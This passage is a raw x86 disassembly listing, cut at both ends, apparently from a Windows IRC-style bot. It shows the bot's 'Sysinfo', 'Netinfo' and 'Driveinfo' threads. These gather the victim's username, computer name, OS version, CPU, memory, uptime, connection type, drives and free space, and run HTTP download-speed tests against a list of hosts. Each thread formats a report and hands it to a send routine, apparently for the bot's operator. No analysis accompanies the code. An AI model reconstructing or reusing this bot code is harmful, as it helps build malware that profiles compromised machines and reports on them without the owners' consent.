0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-734h] push eax call ds:dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp-72Ch] add eax, 100000h shr eax, 14h mov [ebp-6F0h], eax mov eax, [ebp-728h] add eax, 100000h shr eax, 14h mov [ebp-738h], eax call sub_4092A4 mov [ebp-714h], eax mov eax, [ebp-714h] xor edx, edx mov ecx, 15180h div ecx mov [ebp-6E8h], eax mov eax, [ebp-714h] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp-524h], eax mov eax, [ebp-714h] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp-6E4h], eax mov dword ptr [ebp-8], 15h mov dword ptr [ebp-6D0h], 10h lea eax, [ebp-8] push eax lea eax, [ebp-708h] push eax call ds:dword_417018 ; GetUserNameA lea eax, [ebp-6D0h] push eax lea eax, [ebp-6E0h] push eax call ds:dword_417078 ; GetComputerNameA mov dword ptr [ebp-520h], 94h push 24h pop ecx xor eax, eax lea edi, [ebp-51Ch] rep stosd lea eax, [ebp-520h] push eax call ds:dword_417030 ; GetVersionExA mov dword ptr [ebp-48Ch], offset a? ; "?" mov dword ptr [ebp-710h], offset aNoSp ; "no SP" cmp dword ptr [ebp-51Ch], 4 jnz short loc_408522 cmp dword ptr [ebp-518h], 0 jnz short loc_408522 cmp dword ptr [ebp-510h], 1 jnz short loc_40850A mov dword ptr [ebp-48Ch], offset a95 ; "95" loc_40850A: ; CODE XREF: .text:004084FEj cmp dword ptr [ebp-510h], 2 jnz short loc_40851D mov dword ptr [ebp-48Ch], offset aNt ; "NT" loc_40851D: ; CODE XREF: .text:00408511j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: .text:004084ECj ; .text:004084F5j cmp dword ptr [ebp-51Ch], 4 jnz short loc_408540 cmp dword ptr [ebp-518h], 0Ah jnz short loc_408540 mov dword ptr [ebp-48Ch], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: .text:00408529j ; .text:00408532j cmp dword ptr [ebp-51Ch], 4 jnz short loc_40855E cmp dword ptr [ebp-518h], 5Ah jnz short loc_40855E mov dword ptr [ebp-48Ch], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: .text:00408547j ; .text:00408550j cmp dword ptr [ebp-51Ch], 5 jnz short loc_40857C cmp dword ptr [ebp-518h], 0 jnz short loc_40857C mov dword ptr [ebp-48Ch], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: .text:00408565j ; .text:0040856Ej cmp dword ptr [ebp-51Ch], 5 jnz short loc_40859A cmp dword ptr [ebp-518h], 1 jnz short loc_40859A mov dword ptr [ebp-48Ch], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: .text:00408583j ; .text:0040858Cj cmp dword ptr [ebp-51Ch], 5 jnz short loc_4085B6 cmp dword ptr [ebp-518h], 2 jnz short loc_4085B6 mov dword ptr [ebp-48Ch], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: .text:loc_40851Dj ; .text:0040853Ej ... cmp dword ptr [ebp-510h], 2 jnz short loc_4085D6 movsx eax, byte ptr [ebp-50Ch] test eax, eax jz short loc_4085D6 lea eax, [ebp-50Ch] mov [ebp-710h], eax loc_4085D6: ; CODE XREF: .text:004085BDj ; .text:004085C8j call sub_40435B test eax, eax jz short loc_4085EB mov dword ptr [ebp-744h], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: .text:004085DDj mov dword ptr [ebp-744h], offset aNo ; "No" loc_4085F5: ; CODE XREF: .text:004085E9j mov eax, [ebp-744h] mov [ebp-4], eax and byte ptr [ebp-47Ch], 0 and byte ptr [ebp-409h], 0 xor eax, eax cpuid mov [ebp-488h], ebx mov [ebp-484h], edx mov [ebp-480h], ecx lea eax, [ebp-488h] mov [ebp-6ECh], eax and dword ptr [ebp-70Ch], 0 lea eax, [ebp-70Ch] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and dword ptr [ebp-73Ch], 0 mov dword ptr [ebp-740h], 80h lea eax, [ebp-740h] push eax lea eax, [ebp-488h] push eax lea eax, [ebp-73Ch] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push dword ptr [ebp-70Ch] call ds:dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp-488h] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: .text:00408692j push dword ptr [ebp-70Ch] call ds:dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: .text:00408655j cmp dword ptr [ebp-6E4h], 1 jnz short loc_4086C8 mov dword ptr [ebp-748h], offset byte_41DE30 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: .text:004086BAj mov dword ptr [ebp-748h], offset dword_4191F4 loc_4086D2: ; CODE XREF: .text:004086C6j cmp dword ptr [ebp-524h], 1 jnz short loc_4086E7 mov dword ptr [ebp-74Ch], offset byte_41DE30 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: .text:004086D9j mov dword ptr [ebp-74Ch], offset dword_4191F4 loc_4086F1: ; CODE XREF: .text:004086E5j cmp dword ptr [ebp-6E8h], 1 jnz short loc_408706 mov dword ptr [ebp-750h], offset byte_41DE30 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: .text:004086F8j mov dword ptr [ebp-750h], offset dword_4191F4 loc_408710: ; CODE XREF: .text:00408704j lea eax, [ebp-708h] push eax lea eax, [ebp-6E0h] push eax push dword ptr [ebp-748h] push dword ptr [ebp-6E4h] push dword ptr [ebp-74Ch] push dword ptr [ebp-524h] push dword ptr [ebp-750h] push dword ptr [ebp-6E8h] push dword ptr [ebp-4] push dword ptr [ebp-6F0h] push dword ptr [ebp-738h] call sub_40821B push eax push dword ptr [ebp-6ECh] push dword ptr [ebp-514h] push dword ptr [ebp-518h] push dword ptr [ebp-51Ch] push dword ptr [ebp-710h] push dword ptr [ebp-48Ch] push offset dword_419104 push 400h lea eax, [ebp-408h] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp-408h] push eax push offset aS ; "%s" lea eax, [ebp-6C8h] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-6CCh] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset loc_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: .text:00408CF2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset dword_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset aJzFl ; "†‡Âݳ”«Ê" call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: .text:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv ds:flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; --------------------------------------------------------------------------- loc_408B30: ; DATA XREF: sub_408E4A+35o push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0A60h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push offset dword_41EF48 lea eax, [ebp-414h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp-824h] push eax push 0 push 0 push offset dword_41EF48 call dword_41DE84 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp-414h] push eax mov eax, [ebp-824h] push dword ptr [eax+10h] mov eax, [ebp-824h] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo push dword ptr [ebp-824h] call dword_41DE8C ; freeaddrinfo loc_408BBC: ; CODE XREF: .text:00408B84j call sub_409318 mov [ebp-8B8h], eax mov eax, [ebp-8B8h] xor edx, edx mov ecx, 15180h div ecx mov [ebp-830h], eax mov eax, [ebp-8B8h] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp-820h], eax mov eax, [ebp-8B8h] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp-82Ch], eax push offset aUnknown ; "Unknown" lea eax, [ebp-8B0h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown ; "Unknown" lea eax, [ebp-10h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp dword_41DE7C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp-8B0h] push eax lea eax, [ebp-818h] push eax call dword_41DE7C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp-818h] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp-10h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: .text:00408C7Bj push offset aLan ; "LAN" lea eax, [ebp-10h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: .text:00408C4Fj ; .text:00408C6Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov dword ptr [ebp-0A64h], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: .text:00408CA6j mov dword ptr [ebp-0A64h], offset aNo ; "No" loc_408CBE: ; CODE XREF: .text:00408CB2j mov eax, [ebp-0A64h] mov [ebp-8], eax call sub_404279 test eax, eax jz short loc_408CDC mov dword ptr [ebp-0A68h], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: .text:00408CCEj mov dword ptr [ebp-0A68h], offset aNo ; "No" loc_408CE6: ; CODE XREF: .text:00408CDAj mov eax, [ebp-0A68h] mov [ebp-8B4h], eax call sub_408887 mov [ebp-828h], eax mov dword ptr [ebp-81Ch], offset aBad ; "Bad" cmp dword ptr [ebp-828h], 2EEh jnb short loc_408D1D mov dword ptr [ebp-81Ch], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: .text:00408D11j cmp dword ptr [ebp-828h], 1F4h jnb short loc_408D33 mov dword ptr [ebp-81Ch], offset aGood ; "Good" loc_408D33: ; CODE XREF: .text:00408D27j call sub_4088FC mov [ebp-4], eax cmp dword ptr [ebp-82Ch], 1 jnz short loc_408D50 mov dword ptr [ebp-0A6Ch], offset byte_41DE30 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: .text:00408D42j mov dword ptr [ebp-0A6Ch], offset dword_4191F4 loc_408D5A: ; CODE XREF: .text:00408D4Ej cmp dword ptr [ebp-820h], 1 jnz short loc_408D6F mov dword ptr [ebp-0A70h], offset byte_41DE30 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: .text:00408D61j mov dword ptr [ebp-0A70h], offset dword_4191F4 loc_408D79: ; CODE XREF: .text:00408D6Dj cmp dword ptr [ebp-830h], 1 jnz short loc_408D8E mov dword ptr [ebp-0A74h], offset byte_41DE30 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: .text:00408D80j mov dword ptr [ebp-0A74h], offset dword_4191F4 loc_408D98: ; CODE XREF: .text:00408D8Cj push dword ptr [ebp-0A6Ch] push dword ptr [ebp-82Ch] push dword ptr [ebp-0A70h] push dword ptr [ebp-820h] push dword ptr [ebp-0A74h] push dword ptr [ebp-830h] mov eax, [ebp-4] mov [ebp-0A7Ch], eax and dword ptr [ebp-0A78h], 0 fild qword ptr [ebp-0A7Ch] fdiv ds:flt_417274 push ecx push ecx fstp qword ptr [esp] push dword ptr [ebp-828h] push dword ptr [ebp-81Ch] push dword ptr [ebp-8B4h] push dword ptr [ebp-8] lea eax, [ebp-10h] push eax lea eax, [ebp-8B0h] push eax lea eax, [ebp-414h] push eax push offset dword_419284 push 400h lea eax, [ebp-814h] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp-814h] push eax push offset aS ; "%s" lea eax, [ebp-0A5Ch] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-0A60h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset loc_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call ds:dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; --------------------------------------------------------------------------- loc_408F2E: ; DATA XREF: sub_4091E2+35o push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-5D4h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp-404h] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp-3EFh] rep stosd stosw stosb mov eax, dword_419398 mov [ebp-424h], eax and dword ptr [ebp-418h], 0 and dword ptr [ebp-5D8h], 0 and dword ptr [ebp-414h], 0 mov dword ptr [ebp-410h], 1 loc_408FA6: ; CODE XREF: .text:00409169j lea eax, [ebp-424h] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp-5DCh], eax cmp dword ptr [ebp-5DCh], 0 jz loc_409151 cmp dword ptr [ebp-5DCh], 1 jz loc_409151 cmp dword ptr [ebp-5DCh], 2 jnz short loc_408FE5 mov dword ptr [ebp-4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: .text:00408FDAj cmp dword ptr [ebp-5DCh], 3 jnz short loc_408FF7 mov dword ptr [ebp-4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: .text:00408FECj cmp dword ptr [ebp-5DCh], 4 jnz short loc_409009 mov dword ptr [ebp-4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: .text:00408FFEj cmp dword ptr [ebp-5DCh], 5 jnz short loc_40901B mov dword ptr [ebp-4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: .text:00409010j cmp dword ptr [ebp-5DCh], 6 jnz short loc_40902D mov dword ptr [ebp-4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: .text:00409022j mov dword ptr [ebp-4], offset aUnknown_0 ; "unknown" loc_409034: ; CODE XREF: .text:00408FE3j ; .text:00408FF5j ... cmp dword ptr [ebp-5DCh], 5 jz short loc_40906A cmp dword ptr [ebp-5DCh], 2 jz short loc_40906A lea eax, [ebp-42Ch] push eax lea eax, [ebp-420h] push eax lea eax, [ebp-40Ch] push eax lea eax, [ebp-424h] push eax call ds:dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: .text:0040903Bj ; .text:00409044j push 8 push 0 lea eax, [ebp-42Ch] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: .text:00409068j push 0 push 100000h push dword ptr [ebp-428h] push dword ptr [ebp-42Ch] call sub_416C90 mov [ebp-42Ch], eax mov [ebp-428h], edx cmp dword ptr [ebp-410h], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp-404h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: .text:004090A8j and dword ptr [ebp-410h], 0 loc_4090C6: ; CODE XREF: .text:004090BDj mov eax, [ebp-42Ch] or eax, [ebp-428h] test eax, eax jz short loc_40910A push dword ptr [ebp-428h] push dword ptr [ebp-42Ch] push dword ptr [ebp-4] lea eax, [ebp-424h] push eax lea eax, [ebp-404h] push eax push offset dword_4193E4 lea eax, [ebp-404h] push eax call ds:dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: .text:004090D4j push dword ptr [ebp-4] lea eax, [ebp-424h] push eax lea eax, [ebp-404h] push eax push offset dword_4193D4 lea eax, [ebp-404h] push eax call ds:dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: .text:00409108j mov eax, [ebp-42Ch] mov ecx, [ebp-414h] add ecx, eax mov [ebp-414h], ecx mov eax, [ebp-5D8h] inc eax mov [ebp-5D8h], eax loc_409151: ; CODE XREF: .text:00408FC0j ; .text:00408FCDj mov al, [ebp-424h] add al, 1 mov [ebp-424h], al movsx eax, byte ptr [ebp-424h] cmp eax, 5Ah jnz loc_408FA6 cmp dword ptr [ebp-5D8h], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp-404h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: .text:00409176j push dword ptr [ebp-414h] push dword ptr [ebp-5D8h] lea eax, [ebp-404h] push eax push offset dword_41939C lea eax, [ebp-404h] push eax call ds:dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp-404h] push eax push offset aS ; "%s" lea eax, [ebp-5D0h] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-5D4h] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset loc_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: .text:00416A06p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E2D0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call ds:dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_41E2D0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: .text:0040840Ep ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword 